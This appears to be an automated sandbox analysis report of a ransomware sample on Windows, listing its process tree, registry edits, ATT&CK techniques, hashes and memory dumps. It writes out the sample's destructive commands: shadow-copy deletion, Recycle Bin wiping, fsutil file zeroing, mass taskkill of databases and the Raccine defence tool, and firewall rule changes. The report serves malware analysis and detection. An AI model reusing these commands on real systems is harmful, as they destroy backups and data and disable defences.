PID 1580 wrote to memory of 1728	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	48
PID 1580 wrote to memory of 1728	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	48
PID 1580 wrote to memory of 1728	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	48
PID 1580 wrote to memory of 1948	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	51
PID 1580 wrote to memory of 1948	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	51
PID 1580 wrote to memory of 1948	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	51
PID 1580 wrote to memory of 1948	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	51
PID 1580 wrote to memory of 824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	53
PID 1580 wrote to memory of 824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	53
PID 1580 wrote to memory of 824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	53
PID 1580 wrote to memory of 824	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	53
PID 1580 wrote to memory of 1984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	55
PID 1580 wrote to memory of 1984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	55
PID 1580 wrote to memory of 1984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	55
PID 1580 wrote to memory of 1984	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	55
PID 1580 wrote to memory of 524	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	56
PID 1580 wrote to memory of 524	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	56
PID 1580 wrote to memory of 524	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	56
PID 1580 wrote to memory of 524	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	56
PID 1580 wrote to memory of 1604	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	58
PID 1580 wrote to memory of 1604	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	58
PID 1580 wrote to memory of 1604	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	58
PID 1580 wrote to memory of 1604	1580	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe	58

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

Processes:

32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!"	32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe

C:\Users\Admin\AppData\Local\Temp\32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
"C:\Users\Admin\AppData\Local\Temp\32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe"
1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Enumerates connected drives
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1580
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill" /F /IM RaccineSettings.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1824
- C:\Windows\SysWOW64\reg.exe
  "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  2⤵
  PID:952
- C:\Windows\SysWOW64\reg.exe
  "reg" delete HKCU\Software\Raccine /F
  2⤵
  - Modifies registry key
  PID:1048
- C:\Windows\SysWOW64\schtasks.exe
  "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2⤵
  PID:1872
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:1940
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:1068
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  PID:984
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:328
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  PID:1712
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SSDPSRV start= auto
  2⤵
  PID:1736
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:1728
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  PID:1948
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:824
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1984
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:524
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM synctime.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1604
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:532
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM Ntrtscan.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:828
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1164
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqbcoreservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM isqlplussvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM firefoxconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:668
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM encsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1552
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM tbirdconfig.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1636
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM onenote.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM excel.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM PccNTMon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:592
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM dbeng50.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM agntsvc.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1316
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:1688
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM CNTAoSMgr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:788
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM thebat.exe /F
  2⤵
  - Kills process with taskkill
  PID:1696
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM thebat64.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1700
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM msaccess.exe /F
  2⤵
  - Kills process with taskkill
  PID:1076
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:888
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocomm.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlwriter.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1100
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM outlook.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM steam.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1472
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM infopath.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1540
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" IM thunderbird.exe /F
  2⤵
  - Kills process with taskkill
  PID:1056
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM dbsnmp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mbamtray.exe /F
  2⤵
  - Kills process with taskkill
  PID:1616
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM wordpad.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:792
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM tmlisten.exe /F
  2⤵
  - Kills process with taskkill
  PID:872
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM xfssvccon.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM msftesql.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM zoolz.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:944
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld-opt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:912
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM powerpnt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:364
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocautoupds.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:932
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:888
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM ocssd.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:872
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM visio.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1940
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM oracle.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1616
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlagent.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1988
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlbrowser.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:988
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM winword.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:880
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM sqlservr.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mysqld-nt.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  2⤵
  PID:1476
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:756
- C:\Windows\SysWOW64\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:596
- C:\Windows\SysWOW64\arp.exe
  "arp" -a
  2⤵
  PID:1960
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
  2⤵
  - Modifies Internet Explorer settings
  PID:1964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1160
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:1716
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\32ec78179b1516765fd2ec4da82404352cb6837a906c7493283ef578930273e6.exe
  2⤵
  - Deletes itself
  PID:1712
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:328

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1489203116-184116724180385565111549421-5432417181115713456-23897361-1329845546"
1⤵
PID:1056

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "34108110143992554220155556221862916267730854662-7669713481207011163908390904"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5
ed0e18301359cb85ca71da4b78a67557

SHA1
c193bea5c649aa19966780a7ea60823483e15ebb

SHA256
3b9e6cbd41444905eb3ee853b5af3f6539035be3a68f2b5b581fabb71ca91a3b

SHA512
6fb0205d3a6d2fc1938d2fe1ad96782362aa5dca17fdd1a9584ea1154e8504dfa96261cb7d16d0f2cd19b2437a67d3d6204b99bc4faabf0c3f4a1e2e6b521c64

Download Submit
memory/328-64-0x0000000000000000-mapping.dmp

Download
memory/364-109-0x0000000000000000-mapping.dmp

Download
memory/524-71-0x0000000000000000-mapping.dmp

Download
memory/532-73-0x0000000000000000-mapping.dmp

Download
memory/592-87-0x0000000000000000-mapping.dmp

Download
memory/668-80-0x0000000000000000-mapping.dmp

Download
memory/752-95-0x0000000000000000-mapping.dmp

Download
memory/788-90-0x0000000000000000-mapping.dmp

Download
memory/792-104-0x0000000000000000-mapping.dmp

Download
memory/824-69-0x0000000000000000-mapping.dmp

Download
memory/828-74-0x0000000000000000-mapping.dmp

Download
memory/848-97-0x0000000000000000-mapping.dmp

Download
memory/872-103-0x0000000000000000-mapping.dmp

Download
memory/872-112-0x0000000000000000-mapping.dmp

Download
memory/880-118-0x0000000000000000-mapping.dmp

Download
memory/888-94-0x0000000000000000-mapping.dmp

Download
memory/888-111-0x0000000000000000-mapping.dmp

Download
memory/912-108-0x0000000000000000-mapping.dmp

Download
memory/932-110-0x0000000000000000-mapping.dmp

Download
memory/944-107-0x0000000000000000-mapping.dmp

Download
memory/952-58-0x0000000000000000-mapping.dmp

Download
memory/984-63-0x0000000000000000-mapping.dmp

Download
memory/988-117-0x0000000000000000-mapping.dmp

Download
memory/1048-59-0x0000000000000000-mapping.dmp

Download
memory/1056-100-0x0000000000000000-mapping.dmp

Download
memory/1068-62-0x0000000000000000-mapping.dmp

Download
memory/1076-93-0x0000000000000000-mapping.dmp

Download
memory/1100-96-0x0000000000000000-mapping.dmp

Download
memory/1164-76-0x0000000000000000-mapping.dmp

Download
memory/1316-85-0x0000000000000000-mapping.dmp

Download
memory/1404-106-0x0000000000000000-mapping.dmp

Download
memory/1472-98-0x0000000000000000-mapping.dmp

Download
memory/1476-126-0x0000000000000000-mapping.dmp

Download
memory/1536-105-0x0000000000000000-mapping.dmp

Download
memory/1540-99-0x0000000000000000-mapping.dmp

Download
memory/1552-81-0x0000000000000000-mapping.dmp

Download
memory/1580-54-0x0000000001370000-0x0000000001371000-memory.dmp

Filesize
4KB

Download
memory/1580-56-0x0000000004920000-0x0000000004921000-memory.dmp

Filesize
4KB

Download
memory/1600-86-0x0000000000000000-mapping.dmp

Download
memory/1604-72-0x0000000000000000-mapping.dmp

Download
memory/1616-115-0x0000000000000000-mapping.dmp

Download
memory/1616-102-0x0000000000000000-mapping.dmp

Download
memory/1636-82-0x0000000000000000-mapping.dmp

Download
memory/1672-84-0x0000000000000000-mapping.dmp

Download
memory/1676-78-0x0000000000000000-mapping.dmp

Download
memory/1688-88-0x0000000000000000-mapping.dmp

Download
memory/1688-119-0x0000000000000000-mapping.dmp

Download
memory/1692-77-0x0000000000000000-mapping.dmp

Download
memory/1696-114-0x0000000000000000-mapping.dmp

Download
memory/1696-92-0x0000000000000000-mapping.dmp

Download
memory/1700-91-0x0000000000000000-mapping.dmp

Download
memory/1712-65-0x0000000000000000-mapping.dmp

Download
memory/1728-67-0x0000000000000000-mapping.dmp

Download
memory/1732-79-0x0000000000000000-mapping.dmp

Download
memory/1736-66-0x0000000000000000-mapping.dmp

Download
memory/1824-57-0x0000000000000000-mapping.dmp

Download
memory/1872-60-0x0000000000000000-mapping.dmp

Download
memory/1940-61-0x0000000000000000-mapping.dmp

Download
memory/1940-113-0x0000000000000000-mapping.dmp

Download
memory/1940-75-0x00000000765A1000-0x00000000765A3000-memory.dmp

Filesize
8KB

Download
memory/1948-68-0x0000000000000000-mapping.dmp

Download
memory/1948-120-0x0000000000000000-mapping.dmp

Download
memory/1960-101-0x0000000000000000-mapping.dmp

Download
memory/1964-121-0x0000000000000000-mapping.dmp

Download
memory/1964-83-0x0000000000000000-mapping.dmp

Download
memory/1964-123-0x0000000002340000-0x0000000002F8A000-memory.dmp

Filesize
12.3MB

Download
memory/1964-124-0x0000000002340000-0x0000000002F8A000-memory.dmp

Filesize
12.3MB

Download
memory/1964-125-0x0000000002340000-0x0000000002F8A000-memory.dmp

Filesize
12.3MB

Download
memory/1984-70-0x0000000000000000-mapping.dmp

Download
memory/1988-116-0x0000000000000000-mapping.dmp

Download